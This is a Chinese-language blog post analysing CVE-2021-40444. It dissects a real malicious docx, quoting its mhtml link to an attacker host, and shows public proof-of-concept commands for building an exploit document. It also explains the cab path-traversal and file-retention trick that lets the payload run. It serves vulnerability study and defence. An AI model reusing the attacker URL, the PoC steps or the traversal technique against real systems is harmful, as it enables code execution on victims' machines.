前言:
隨著cve-2021-40444的披露,隨機引爆了全球的網路安全,雖然最近微軟發布了補丁,但是cve-2021-40444的利用卻越發猖狂,
0x00 0day樣本分析
拿到樣本的第一時間,便在自己的沙箱環境下面運行了下,并且從網上下載的docx,微軟默認會開啟保護模式,我這里是本地打開的,基本內容如下,全都是文字內容,基本上沒發現什么:

但是在rels的document.xml檔案中發現了鏈接
Target=”mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html


【一>所有資源獲取<一】
1、200多本網路安全系列電子書(該有的都有了)
2、全套工具包(最全中文版,想用哪個用哪個)
3、100份src原始碼技術檔案(專案學習不停,實踐得真知)
4、網路安全基礎入門、Linux、web安全、攻防方面的視頻(2021最新版)
5、網路安全學習路線(告別不入流的學習)
6、ctf奪旗賽決議(題目決議實戰操作)
可以發現其是指向檔案的更新鏈接

從樣本庫眾獲取到mountain.html后,我們打開一看,發現全部都混淆了,基本難辨真偽,去混淆也比較簡單
因為是js代碼,隨便找個網上去混淆的試試,比如http://jsnice.org/,將混淆的代碼粘貼上去后,一鍵試下

基本代碼的輪廓就有了,它所有的字串都會采用陣列var a0_0x127f經過function a0_0x15ec進行拼接與置換

這就很簡單了,我通過普通腳本再一次去混淆:
經過簡單的靜態分析與除錯,基本上就是它會去請求服務器獲取一個cab檔案,并且會通過cpl指令去執行一個inf
然后通過樣本庫獲取到這個cab,初步分析這個cab,發現了其解壓路徑是../championship.inf,并且標志cafile的大小是0x415c00,cab檔案格式[1]對應如下


最后將惡意的url改成我們自己搭建的http server,之后成功復現樣本攻擊環境,并且捕捉到了樣本通過rundll32執行了命令

0x01 cve-2021-40444漏洞的分析與利用
cve-2021-40444的poc很快公開在了github[2]上,poc的使用很簡單,通過sudo python3 exploit.py host 80開啟簡單的http server服務器,python3 exploit.py generate test/calc.dll ip生成包含有漏洞的docx:

假如我們現在有一個正常的docx,可以通過以下添加稍加修改,就成了可以包含cve-2021-40444漏洞的docx了

0x02 cve-2021-40444的補丁對比
通過ProcessMonitor監控我們可以獲得其創建和讀取cab檔案的行為,其呼叫堆疊如下:

9月14號,微軟發布了cve-2021-40444的補丁,經過補丁分析發現,urlmon.dll模塊的catDirAndFile對路徑驗證做了修改,將’/‘替換成了’\‘,防止路徑遍歷:


0x03漏洞除錯
除錯之前,我們首先了解下微軟對cab檔案的api

這些api包括了對cab檔案的決議和讀寫操作等,urlmon模塊通過呼叫cabinet模塊中的這些api來處理cab檔案的
首先docx觸發get請求后會通過mshtml模塊來處理,并且對cab檔案的處理將會進入urlmon,之后在urlmon!GetSupportedInstallScopesFromFile這個api開始處理cab檔案:

獲取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通過GetExtnAndBaseFileName去判斷檔案后綴名是不是cab:

然后通過CreateUniqueCabTempDir創建臨時檔案夾,比如我這里是C:\Users\l\AppData\Local\Temp\Cab369A,進入api ExtractInfFile后,將會繼續呼叫Extract,在Extract將會第一次呼叫到FDICreate[3]和FDICopy[4],來獲取cab的資訊

FDICreate主要是對其他讀寫api等進行初始化操作:

而FDICopy主要就是提取cab檔案的資訊了

進入CABINET!FDICopy后將會呼叫LoginCabinet來提取cab的0x24大小的head資訊,比如包括對頭部MSCF標志的判斷:
之后將會進入CABINET!LoginCabinet、CABINET!FDICallEnumerate分別對應資訊FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE,再一次進入urlmon!fdiNotifyExtract后獲取CFFILE file的資訊,而對應的標志是0x02:

獲取到初始化結構體后將會在urlmon!ExtractInfFile呼叫urlmon!ExtractOneFile:

而在urlmon!ExtractOneFile中將會給(a4+0x202)賦值結構體lpsz,將會確保在呼叫urlmon!NeedFile成功回傳:

之后將會繼續以標志fdintCOPY_FILE(0x02)繼續呼叫urlmon!fdiNotifyExtract,繼續呼叫urlmon!catDirAndFile繼續路徑字串格式化,而我們傳入的inf路徑是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf

最后退出urlmon!catDirAndFile將會在urlmon!fdiNotifyExtract中呼叫Win32Open:

而在Win32Open中將會呼叫CreateFileA,以路徑C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf創建檔案msword.inf,因為路徑存在目錄遍歷問題,所有將會在C:\Users\l\AppData\Local\Temp\msword.inf創建檔案:

成功創建msword.inf檔案后將會繼續成功呼叫CABINET!FDIGetFile,在CABINET!FDIGetFile中將會以第一個CFDATA data大小資料寫入到檔案中,之后caFile(實際為解壓檔案大小)將會減去寫入的CFDATA data大小,接著進行比較直到將所有的caFile大小寫入,而這里我們的caFile大小是0x415c0000,遠遠大于實際的CFDATA的總大小,所以將會在呼叫最后一次CABINET!FDIGetDataBlock獲取塊的時候失敗并退出:

雖然退出了,但不影響實際寫入檔案的資料,并且因為這個失敗將不會在urlmon!DeleteExtractedFiles呼叫DeleteFileA,因為v2[2]的標志未清0,所以不會洗掉臨時檔案,從而我們創建的msword.inf得以保存,并且在后續中可以直接以cpl命令運行C:\Users\l\AppData\Local\Temp\msword.inf

而正常的提取cab檔案將會以標志fdintCLOSE_FILE_INFO(0x03)進入,呼叫urlmon!MarkExtracted,將標志清0:

至此,從獲取到cab檔案到提取決議,并且觸發目錄遍歷漏洞程序分析完畢,
有大佬公布以最簡潔的方式觸發了[5]這個漏洞,并且可以在ie中復現成功,
0x04 漏洞防范
對網上來路不明的docx,請不要隨意點擊,更新最新的微軟補丁
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/347057.html
標籤:其他
